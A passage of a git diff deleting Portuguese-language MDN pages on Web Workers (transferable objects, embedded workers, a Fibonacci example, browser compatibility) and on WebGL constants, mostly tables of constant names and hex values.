-  if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty('queryMethod') && oEvent.data.hasOwnProperty('queryMethodArguments')) {
-    queryableFunctions[oEvent.data.queryMethod].apply(self, oEvent.data.queryMethodArguments);
-  } else {
-    defaultReply(oEvent.data);
-  }
-};
- -

It is possible to switch the content of each mainpage -> worker and worker -> mainpage message. And the property names "queryMethod", "queryMethodListeners", "queryMethodArguments" can be anything as long as they are consistent in QueryableWorker and the worker.

- -

Passing data by transferring ownership (transferable objects)

- -

Google Chrome 17+ and Firefox 18+ contain an additional way to pass certain types of objects (transferable objects, that is objects implementing the {{domxref("Transferable")}} interface) to or from a worker with high performance. Transferable objects are transferred from one context to another with a zero-copy operation, which results in a vast performance improvement when sending large data sets. Think of it as pass-by-reference if you're from the C/C++ world. However, unlike pass-by-reference, the 'version' from the calling context is no longer available once transferred. Its ownership is transferred to the new context. For example, when transferring an {{domxref("ArrayBuffer")}} from your main app to a worker script, the original {{domxref("ArrayBuffer")}} is cleared and no longer usable. Its content is (quite literally) transferred to the worker context.

- -
// Create a 32MB "file" and fill it.
-var uInt8Array = new Uint8Array(1024 * 1024 * 32); // 32MB
-for (var i = 0; i < uInt8Array.length; ++i) {
-  uInt8Array[i] = i;
-}
-
-worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
-
- -
-

Nota: For more information on transferable objects, performance, and feature-detection for this method, read Transferable Objects: Lightning Fast! on HTML5 Rocks.

-
- -

Workers integrados

- -

There is not an "official" way to embed the code of a worker within a web page, like {{HTMLElement("script")}} elements do for normal scripts. But a {{HTMLElement("script")}} element that does not have a src attribute and has a type attribute that does not identify an executable MIME type can be considered a data block element that JavaScript could use. "Data blocks" is a more general feature of HTML5 that can carry almost any textual data. So, a worker could be embedded in this way:

- -
<!DOCTYPE html>
-<html>
-<head>
-<meta charset="UTF-8" />
-<title>MDN Example - Embedded worker</title>
-<script type="text/js-worker">
-  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
-  var myVar = 'Hello World!';
-  // Rest of your worker code goes here.
-</script>
-<script type="text/javascript">
-  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
-  function pageLog(sMsg) {
-    // Use a fragment: browser will only render/reflow once.
-    var oFragm = document.createDocumentFragment();
-    oFragm.appendChild(document.createTextNode(sMsg));
-    oFragm.appendChild(document.createElement('br'));
-    document.querySelector('#logDisplay').appendChild(oFragm);
-  }
-</script>
-<script type="text/js-worker">
-  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
-  onmessage = function(oEvent) {
-    postMessage(myVar);
-  };
-  // Rest of your worker code goes here.
-</script>
-<script type="text/javascript">
-  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
-
-  // In the past...:
-  // blob builder existed
-  // ...but now we use Blob...:
-  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll('script[type=\'text\/js-worker\']'), function (oScript) { return oScript.textContent; }),{type: 'text/javascript'});
-
-  // Creating a new document.worker property containing all our "text/js-worker" scripts.
-  document.worker = new Worker(window.URL.createObjectURL(blob));
-
-  document.worker.onmessage = function(oEvent) {
-    pageLog('Received: ' + oEvent.data);
-  };
-
-  // Start the worker.
-  window.onload = function() { document.worker.postMessage(''); };
-</script>
-</head>
-<body><div id="logDisplay"></div></body>
-</html>
- -

The embedded worker is now nested into a new custom document.worker property.

- -

It is also worth noting that you can also convert a function into a Blob, then generate an object URL from that blob. For example:

- -
function fn2workerURL(fn) {
-  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
-  return URL.createObjectURL(blob)
-}
- -

Exemplos adicionais

- -

This section provides further examples of how to use web workers.

- -

Realizar computações em segundo plano

- -

Workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread. In this example, a worker is used to calculate Fibonacci numbers.

- -

O código de JavaScript

- -

The following JavaScript code is stored in the "fibonacci.js" file referenced by the HTML in the next section.

- -
var results = [];
-
-function resultReceiver(event) {
-  results.push(parseInt(event.data));
-  if (results.length == 2) {
-    postMessage(results[0] + results[1]);
-  }
-}
-
-function errorReceiver(event) {
-  throw event.data;
-}
-
-onmessage = function(event) {
-  var n = parseInt(event.data);
-
-  if (n == 0 || n == 1) {
-    postMessage(n);
-    return;
-  }
-
-  for (var i = 1; i <= 2; i++) {
-    var worker = new Worker('fibonacci.js');
-    worker.onmessage = resultReceiver;
-    worker.onerror = errorReceiver;
-    worker.postMessage(n - i);
-  }
- };
- -

The worker sets the property onmessage to a function which will receive messages sent when the worker object's postMessage() is called (note that this differs from defining a global variable of that name, or defining a function with that name. var onmessage and function onmessage will define global properties with those names, but they will not register the function to receive messages sent by the web page that created the worker). This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.

- -

O código de HTML

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8"  />
-    <title>Test threads fibonacci</title>
-  </head>
-  <body>
-
-  <div id="result"></div>
-
-  <script language="javascript">
-
-    var worker = new Worker('fibonacci.js');
-
-    worker.onmessage = function(event) {
-      document.getElementById('result').textContent = event.data;
-      dump('Got: ' + event.data + '\n');
-    };
-
-    worker.onerror = function(error) {
-      dump('Worker error: ' + error.message + '\n');
-      throw error;
-    };
-
-    worker.postMessage('5');
-
-  </script>
-  </body>
-</html>
-
- -

The web page creates a div element with the ID result , which gets used to display the result, then spawns the worker. After spawning the worker, the onmessage handler is configured to display the results by setting the contents of the div element, and the onerror handler is set to dump the error message.

- -

Finally, a message is sent to the worker to start it.

- -

Try this example.

- -

Executar I/O da Web em segundo plano

- -

You can find an example of this in the article Using workers in extensions .

- -

Dividir tarefas entre mútiplos workers

- -

As multi-core computers become increasingly common, it's often useful to divide computationally complex tasks among multiple workers, which may then perform those tasks on multiple-processor cores.

- -

Outros tipos de worker

- -

In addition to dedicated and shared web workers, there are other types of worker available:

- - - -

Funções e interfaces disponíveis nos workers

- -

You can use most standard JavaScript features inside a web worker, including:

- - - -

The main thing you can't do in a Worker is directly affect the parent page. This includes manipulating the DOM and using that page's objects. You have to do it indirectly, by sending a message back to the main script via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}, then actioning the changes from there.

- -
-

Note: For a complete list of functions available to workers, see Functions and interfaces available to workers.

-
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', '#workers', 'Web workers')}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilidade de navegador

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4[1]{{CompatGeckoDesktop("1.9.1")}}10.010.6[1]4[2]
Shared workers4[1]{{CompatGeckoDesktop(29)}}{{CompatNo}}10.65
- {{CompatNo}} 6.1[4]
Passing data using structured cloning13{{CompatGeckoDesktop(8)}}10.011.56
Passing data using transferable objects17 {{property_prefix("webkit")}}
- 21
{{CompatGeckoDesktop(18)}}{{CompatNo}}156
Global {{domxref("window.URL", "URL")}}10[3]
- 23
{{CompatGeckoDesktop(21)}}11156[3]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44[1]3.51.0.110.011.5[1]5.1[2]
Shared workers{{CompatNo}}4[1]81.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using structured cloning{{CompatNo}}481.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using transferable objects{{CompatNo}}{{CompatNo}}181.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Chrome and Opera give an error "Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'." when you try to run a worker locally. It needs to be on a proper domain.

- -

[2] As of Safari 7.1.2, you can call console.log from inside a worker, but it won't print anything to the console. Older versions of Safari don't allow you to call console.log from inside a worker.

- -

[3] This feature is implemented prefixed as webkitURL.

- -

[4] Safari removed SharedWorker support.

- -

Consultar também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/webgl_api/constantes/index.html b/files/pt-pt/web/api/webgl_api/constantes/index.html deleted file mode 100644 index 8328c7976f..0000000000 --- a/files/pt-pt/web/api/webgl_api/constantes/index.html +++ /dev/null @@ -1,4023 +0,0 @@ ---- -title: Contantes de WebGL -slug: Web/API/WebGL_API/Constantes -tags: - - API - - Referencia - - WebGL - - constantes -translation_of: Web/API/WebGL_API/Constants ---- -
{{WebGLSidebar}}
- -

The WebGL API provides several constants that are passed into or returned by functions. All constants are of type {{domxref("GLenum")}}.

- -

Standard WebGL constants are installed on the {{domxref("WebGLRenderingContext")}} and {{domxref("WebGL2RenderingContext")}} objects, so that you use them as gl.CONSTANT_NAME:

- -
var canvas = document.getElementById('myCanvas');
-var gl = canvas.getContext('webgl');
-
-gl.getParameter(gl.LINE_WIDTH);
-
- -

Some constants are also provided by WebGL extensions. A list is provided below.

- -
var debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
-var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
- -

The WebGL tutorial has more information, examples, and resources on how to get started with WebGL.

- -

Tabela de conteúdos

- - - -

Standard WebGL 1 constants

- -

These constants are defined on the {{domxref("WebGLRenderingContext")}} interface.

- -

Limpar buffers

- -

Constants passed to {{domxref("WebGLRenderingContext.clear()")}} to clear buffer masks.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
DEPTH_BUFFER_BIT0x00000100Passed to clear to clear the current depth buffer.
STENCIL_BUFFER_BIT0x00000400Passed to clear to clear the current stencil buffer.
COLOR_BUFFER_BIT0x00004000Passed to clear to clear the current color buffer.
- -

Renderizar primitivos

- -

Constants passed to {{domxref("WebGLRenderingContext.drawElements()")}} or {{domxref("WebGLRenderingContext.drawArrays()")}} to specify what kind of primitive to render.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
POINTS0x0000Passed to drawElements or drawArrays to draw single points.
LINES0x0001Passed to drawElements or drawArrays to draw lines. Each vertex connects to the one after it.
LINE_LOOP0x0002Passed to drawElements or drawArrays to draw lines. Each set of two vertices is treated as a separate line segment.
LINE_STRIP0x0003Passed to drawElements or drawArrays to draw a connected group of line segments from the first vertex to the last.
TRIANGLES0x0004Passed to drawElements or drawArrays to draw triangles. Each set of three vertices creates a separate triangle.
TRIANGLE_STRIP0x0005Passed to drawElements or drawArrays to draw a connected group of triangles.
TRIANGLE_FAN0x0006Passed to drawElements or drawArrays to draw a connected group of triangles. Each vertex connects to the previous and the first vertex in the fan.
- -

Modos de mistura

- -

Constants passed to {{domxref("WebGLRenderingContext.blendFunc()")}} or {{domxref("WebGLRenderingContext.blendFuncSeparate()")}} to specify the blending mode (for both, RBG and alpha, or separately).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
ZERO0Passed to blendFunc or blendFuncSeparate to turn off a component.
ONE1Passed to blendFunc or blendFuncSeparate to turn on a component.
SRC_COLOR0x0300Passed to blendFunc or blendFuncSeparate to multiply a component by the source elements color.
ONE_MINUS_SRC_COLOR0x0301Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the source elements color.
SRC_ALPHA0x0302Passed to blendFunc or blendFuncSeparate to multiply a component by the source's alpha.
ONE_MINUS_SRC_ALPHA0x0303Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the source's alpha.
DST_ALPHA0x0304Passed to blendFunc or blendFuncSeparate to multiply a component by the destination's alpha.
ONE_MINUS_DST_ALPHA0x0305Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the destination's alpha.
DST_COLOR0x0306Passed to blendFunc or blendFuncSeparate to multiply a component by the destination's color.
ONE_MINUS_DST_COLOR0x0307Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the destination's color.
SRC_ALPHA_SATURATE0x0308Passed to blendFunc or blendFuncSeparate to multiply a component by the minimum of source's alpha or one minus the destination's alpha.
CONSTANT_COLOR0x8001Passed to blendFunc or blendFuncSeparate to specify a constant color blend function.
ONE_MINUS_CONSTANT_COLOR0x8002Passed to blendFunc or blendFuncSeparate to specify one minus a constant color blend function.
CONSTANT_ALPHA0x8003Passed to blendFunc or blendFuncSeparate to specify a constant alpha blend function.
ONE_MINUS_CONSTANT_ALPHA0x8004Passed to blendFunc or blendFuncSeparate to specify one minus a constant alpha blend function.
- -

Equações de mistura

- -

Constants passed to {{domxref("WebGLRenderingContext.blendEquation()")}} or {{domxref("WebGLRenderingContext.blendEquationSeparate()")}} to control how the blending is calculated (for both, RBG and alpha, or separately).

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
FUNC_ADD0x8006Passed to blendEquation or blendEquationSeparate to set an addition blend function.
FUNC_SUBSTRACT0x800APassed to blendEquation or blendEquationSeparate to specify a subtraction blend function (source - destination).
FUNC_REVERSE_SUBTRACT0x800BPassed to blendEquation or blendEquationSeparate to specify a reverse subtraction blend function (destination - source).
- -

Obter informação do parâmetro GL

- -

Constants passed to {{domxref("WebGLRenderingContext.getParameter()")}} to specify what information to return.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
BLEND_EQUATION0x8009Passed to getParameter to get the current RGB blend function.
BLEND_EQUATION_RGB0x8009Passed to getParameter to get the current RGB blend function. Same as BLEND_EQUATION
BLEND_EQUATION_ALPHA0x883DPassed to getParameter to get the current alpha blend function. Same as BLEND_EQUATION
BLEND_DST_RGB0x80C8Passed to getParameter to get the current destination RGB blend function.
BLEND_SRC_RGB0x80C9Passed to getParameter to get the current destination RGB blend function.
BLEND_DST_ALPHA0x80CAPassed to getParameter to get the current destination alpha blend function.
BLEND_SRC_ALPHA0x80CBPassed to getParameter to get the current source alpha blend function.
BLEND_COLOR0x8005Passed to getParameter to return a the current blend color.
ARRAY_BUFFER_BINDING0x8894Passed to getParameter to get the array buffer binding.
ELEMENT_ARRAY_BUFFER_BINDING0x8895Passed to getParameter to get the current element array buffer.
LINE_WIDTH0x0B21Passed to getParameter to get the current lineWidth (set by the lineWidth method).
ALIASED_POINT_SIZE_RANGE0x846DPassed to getParameter to get the current size of a point drawn with gl.POINTS
ALIASED_LINE_WIDTH_RANGE0x846EPassed to getParameter to get the range of available widths for a line. Returns a length-2 array with the lo value at 0, and hight at 1.
CULL_FACE_MODE0x0B45Passed to getParameter to get the current value of cullFace. Should return FRONT, BACK, or FRONT_AND_BACK
FRONT_FACE0x0B46Passed to getParameter to determine the current value of frontFace. Should return CW or CCW.
DEPTH_RANGE0x0B70Passed to getParameter to return a length-2 array of floats giving the current depth range.
DEPTH_WRITEMASK0x0B72Passed to getParameter to determine if the depth write mask is enabled.
DEPTH_CLEAR_VALUE0x0B73Passed to getParameter to determine the current depth clear value.
DEPTH_FUNC0x0B74Passed to getParameter to get the current depth function. Returns NEVER, ALWAYS, LESS, EQUAL, LEQUAL, GREATER, GEQUAL, or NOTEQUAL.
STENCIL_CLEAR_VALUE0x0B91Passed to getParameter to get the value the stencil will be cleared to.
STENCIL_FUNC0x0B92Passed to getParameter to get the current stencil function. Returns NEVER, ALWAYS, LESS, EQUAL, LEQUAL, GREATER, GEQUAL, or NOTEQUAL.
STENCIL_FAIL0x0B94Passed to getParameter to get the current stencil fail function. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.
STENCIL_PASS_DEPTH_FAIL0x0B95Passed to getParameter to get the current stencil fail function should the depth buffer test fail. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.
STENCIL_PASS_DEPTH_PASS0x0B96Passed to getParameter to get the current stencil fail function should the depth buffer test pass. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.
STENCIL_REF0x0B97Passed to getParameter to get the reference value used for stencil tests.
STENCIL_VALUE_MASK0x0B93 
STENCIL_WRITEMASK0x0B98 
STENCIL_BACK_FUNC0x8800 
STENCIL_BACK_FAIL0x8801 
STENCIL_BACK_PASS_DEPTH_FAIL0x8802 
STENCIL_BACK_PASS_DEPTH_PASS0x8803 
STENCIL_BACK_REF0x8CA3 
STENCIL_BACK_VALUE_MASK0x8CA4 
STENCIL_BACK_WRITEMASK0x8CA5 
VIEWPORT0x0BA2Returns an {{jsxref("Int32Array")}} with four elements for the current viewport dimensions.
SCISSOR_BOX0x0C10Returns an {{jsxref("Int32Array")}} with four elements for the current scissor box dimensions.
COLOR_CLEAR_VALUE0x0C22 
COLOR_WRITEMASK0x0C23 
UNPACK_ALIGNMENT0x0CF5 
PACK_ALIGNMENT0x0D05 
MAX_TEXTURE_SIZE0x0D33 
MAX_VIEWPORT_DIMS0x0D3A 
SUBPIXEL_BITS0x0D50 
RED_BITS0x0D52 
GREEN_BITS0x0D53 
BLUE_BITS0x0D54 
ALPHA_BITS0x0D55 
DEPTH_BITS0x0D56 
STENCIL_BITS0x0D57 
POLYGON_OFFSET_UNITS0x2A00 
POLYGON_OFFSET_FACTOR0x8038 
TEXTURE_BINDING_2D0x8069 
SAMPLE_BUFFERS0x80A8 
SAMPLES0x80A9 
SAMPLE_COVERAGE_VALUE0x80AA 
SAMPLE_COVERAGE_INVERT0x80AB 
COMPRESSED_TEXTURE_FORMATS0x86A3 
VENDOR0x1F00 
RENDERER0x1F01 
VERSION0x1F02 
IMPLEMENTATION_COLOR_READ_TYPE0x8B9A 
IMPLEMENTATION_COLOR_READ_FORMAT0x8B9B 
BROWSER_DEFAULT_WEBGL0x9244 
- -

Buffers

- -

Constants passed to {{domxref("WebGLRenderingContext.bufferData()")}}, {{domxref("WebGLRenderingContext.bufferSubData()")}}, {{domxref("WebGLRenderingContext.bindBuffer()")}}, or {{domxref("WebGLRenderingContext.getBufferParameter()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
STATIC_DRAW0x88E4Passed to bufferData as a hint about whether the contents of the buffer are likely to be used often and not change often.
STREAM_DRAW0x88E0Passed to bufferData as a hint about whether the contents of the buffer are likely to not be used often.
DYNAMIC_DRAW0x88E8Passed to bufferData as a hint about whether the contents of the buffer are likely to be used often and change often.
ARRAY_BUFFER0x8892Passed to bindBuffer or bufferData to specify the type of buffer being used.
ELEMENT_ARRAY_BUFFER0x8893Passed to bindBuffer or bufferData to specify the type of buffer being used.
BUFFER_SIZE0x8764Passed to getBufferParameter to get a buffer's size.
BUFFER_USAGE0x8765Passed to getBufferParameter to get the hint for the buffer passed in when it was created.
- -

Atributos de Vertex

- -

Constants passed to {{domxref("WebGLRenderingContext.getVertexAttrib()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
CURRENT_VERTEX_ATTRIB0x8626Passed to getVertexAttrib to read back the current vertex attribute.
VERTEX_ATTRIB_ARRAY_ENABLED0x8622 
VERTEX_ATTRIB_ARRAY_SIZE0x8623 
VERTEX_ATTRIB_ARRAY_STRIDE0x8624 
VERTEX_ATTRIB_ARRAY_TYPE0x8625 
VERTEX_ATTRIB_ARRAY_NORMALIZED0x886A 
VERTEX_ATTRIB_ARRAY_POINTER0x8645 
VERTEX_ATTRIB_ARRAY_BUFFER_BINDING0x889F 
- -

Culling

- -

Constants passed to {{domxref("WebGLRenderingContext.cullFace()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
CULL_FACE0x0B44Passed to enable/disable to turn on/off culling. Can also be used with getParameter to find the current culling method.
FRONT0x0404Passed to cullFace to specify that only front faces should be drawn.
BACK0x0405Passed to cullFace to specify that only back faces should be drawn.
FRONT_AND_BACK0x0408Passed to cullFace to specify that front and back faces should be drawn.
- -

Enabling and disabling

- -

Constants passed to {{domxref("WebGLRenderingContext.enable()")}} or {{domxref("WebGLRenderingContext.disable()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
BLEND0x0BE2Passed to enable/disable to turn on/off blending. Can also be used with getParameter to find the current blending method.
DEPTH_TEST0x0B71Passed to enable/disable to turn on/off the depth test. Can also be used with getParameter to query the depth test.
DITHER0x0BD0Passed to enable/disable to turn on/off dithering. Can also be used with getParameter to find the current dithering method.
POLYGON_OFFSET_FILL0x8037Passed to enable/disable to turn on/off the polygon offset. Useful for rendering hidden-line images, decals, and or solids with highlighted edges. Can also be used with getParameter to query the scissor test.
SAMPLE_ALPHA_TO_COVERAGE0x809EPassed to enable/disable to turn on/off the alpha to coverage. Used in multi-sampling alpha channels.
SAMPLE_COVERAGE0x80A0Passed to enable/disable to turn on/off the sample coverage. Used in multi-sampling.
SCISSOR_TEST0x0C11Passed to enable/disable to turn on/off the scissor test. Can also be used with getParameter to query the scissor test.
STENCIL_TEST0x0B90Passed to enable/disable to turn on/off the stencil test. Can also be used with getParameter to query the stencil test.
- -

Errors

- -

Constants returned from {{domxref("WebGLRenderingContext.getError()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
NO_ERROR0Returned from getError.
INVALID_ENUM0x0500Returned from getError.
INVALID_VALUE0x0501Returned from getError.
INVALID_OPERATION0x0502Returned from getError.
OUT_OF_MEMORY0x0505Returned from getError.
CONTEXT_LOST_WEBGL0x9242Returned from getError.
- -

Front face directions

- -

Constants passed to {{domxref("WebGLRenderingContext.frontFace()")}}.

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
CW0x0900Passed to frontFace to specify the front face of a polygon is drawn in the clockwise direction
CCW0x0901Passed to frontFace to specify the front face of a polygon is drawn in the counter clockwise direction
- -

Hints

- -

Constants passed to {{domxref("WebGLRenderingContext.hint()")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
DONT_CARE0x1100There is no preference for this behavior.
FASTEST0x1101The most efficient behavior should be used.
NICEST0x1102The most correct or the highest quality option should be used.
GENERATE_MIPMAP_HINT0x8192Hint for the quality of filtering when generating mipmap images with {{domxref("WebGLRenderingContext.generateMipmap()")}}.
- -

Data types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
BYTE0x1400 
UNSIGNED_BYTE0x1401 
SHORT0x1402 
UNSIGNED_SHORT0x1403 
INT0x1404 
UNSIGNED_INT0x1405 
FLOAT0x1406 
- -

Pixel formats

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
DEPTH_COMPONENT0x1902 
ALPHA0x1906 
RGB0x1907 
RGBA0x1908 
LUMINANCE0x1909 
LUMINANCE_ALPHA0x190A 
- -

Pixel types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNSIGNED_BYTE0x1401 
UNSIGNED_SHORT_4_4_4_40x8033 
UNSIGNED_SHORT_5_5_5_10x8034 
UNSIGNED_SHORT_5_6_50x8363 
- -

Shaders

- -

Constants passed to {{domxref("WebGLRenderingContext.createShader()")}} or {{domxref("WebGLRenderingContext.getShaderParameter()")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FRAGMENT_SHADER0x8B30Passed to createShader to define a fragment shader.
VERTEX_SHADER0x8B31Passed to createShader to define a vertex shader
COMPILE_STATUS0x8B81Passed to getShaderParamter to get the status of the compilation. Returns false if the shader was not compiled. You can then query getShaderInfoLog to find the exact error
DELETE_STATUS0x8B80Passed to getShaderParamter to determine if a shader was deleted via deleteShader. Returns true if it was, false otherwise.
LINK_STATUS0x8B82Passed to getProgramParameter after calling linkProgram to determine if a program was linked correctly. Returns false if there were errors. Use getProgramInfoLog to find the exact error.
VALIDATE_STATUS0x8B83Passed to getProgramParameter after calling validateProgram to determine if it is valid. Returns false if errors were found.
ATTACHED_SHADERS0x8B85Passed to getProgramParameter after calling attachShader to determine if the shader was attached correctly. Returns false if errors occurred.
ACTIVE_ATTRIBUTES0x8B89Passed to getProgramParameter to get the number of attributes active in a program.
ACTIVE_UNIFORMS0x8B86Passed to getProgramParamter to get the number of uniforms active in a program.
MAX_VERTEX_ATTRIBS0x8869The maximum number of entries possible in the vertex attribute list.
MAX_VERTEX_UNIFORM_VECTORS0x8DFB 
MAX_VARYING_VECTORS0x8DFC 
MAX_COMBINED_TEXTURE_IMAGE_UNITS0x8B4D 
MAX_VERTEX_TEXTURE_IMAGE_UNITS0x8B4C 
MAX_TEXTURE_IMAGE_UNITS0x8872Implementation dependent number of maximum texture units. At least 8.
MAX_FRAGMENT_UNIFORM_VECTORS0x8DFD 
SHADER_TYPE0x8B4F 
SHADING_LANGUAGE_VERSION0x8B8C 
CURRENT_PROGRAM0x8B8D 
- -

Depth or stencil tests

- -

Constants passed to {{domxref("WebGLRenderingContext.depthFunc()")}} or {{domxref("WebGLRenderingContext.stencilFunc()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
NEVER0x0200Passed to depthFunction or stencilFunction to specify depth or stencil tests will never pass. i.e. Nothing will be drawn.
ALWAYS0x0207Passed to depthFunction or stencilFunction to specify depth or stencil tests will always pass. i.e. Pixels will be drawn in the order they are drawn.
LESS0x0201Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is less than the stored value.
EQUAL0x0202Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is equals to the stored value.
LEQUAL0x0203Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is less than or equal to the stored value.
GREATER0x0204Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is greater than the stored value.
GEQUAL0x0206Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is greater than or equal to the stored value.
NOTEQUAL0x0205Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is not equal to the stored value.
- -

Stencil actions

- -

Constants passed to {{domxref("WebGLRenderingContext.stencilOp()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
KEEP0x1E00 
REPLACE0x1E01 
INCR0x1E02 
DECR0x1E03 
INVERT0x150A 
INCR_WRAP0x8507 
DECR_WRAP0x8508 
- -

Textures

- -

Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
NEAREST0x2600 
LINEAR0x2601 
NEAREST_MIPMAP_NEAREST0x2700 
LINEAR_MIPMAP_NEAREST0x2701 
NEAREST_MIPMAP_LINEAR0x2702 
LINEAR_MIPMAP_LINEAR0x2703 
TEXTURE_MAG_FILTER0x2800 
TEXTURE_MIN_FILTER0x2801 
TEXTURE_WRAP_S0x2802 
TEXTURE_WRAP_T0x2803 
TEXTURE_2D0x0DE1 
TEXTURE0x1702 
TEXTURE_CUBE_MAP0x8513 
TEXTURE_BINDING_CUBE_MAP0x8514 
TEXTURE_CUBE_MAP_POSITIVE_X0x8515 
TEXTURE_CUBE_MAP_NEGATIVE_X0x8516 
TEXTURE_CUBE_MAP_POSITIVE_Y0x8517 
TEXTURE_CUBE_MAP_NEGATIVE_Y0x8518 
TEXTURE_CUBE_MAP_POSITIVE_Z0x8519 
TEXTURE_CUBE_MAP_NEGATIVE_Z0x851A 
MAX_CUBE_MAP_TEXTURE_SIZE0x851C 
TEXTURE0 - 310x84C0 - 0x84DFA texture unit.
ACTIVE_TEXTURE0x84E0The current active texture unit.
REPEAT0x2901 
CLAMP_TO_EDGE0x812F 
MIRRORED_REPEAT0x8370 
- -

Uniform types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FLOAT_VEC20x8B50 
FLOAT_VEC30x8B51 
FLOAT_VEC40x8B52 
INT_VEC20x8B53 
INT_VEC30x8B54 
INT_VEC40x8B55 
BOOL0x8B56 
BOOL_VEC20x8B57 
BOOL_VEC30x8B58 
BOOL_VEC40x8B59 
FLOAT_MAT20x8B5A 
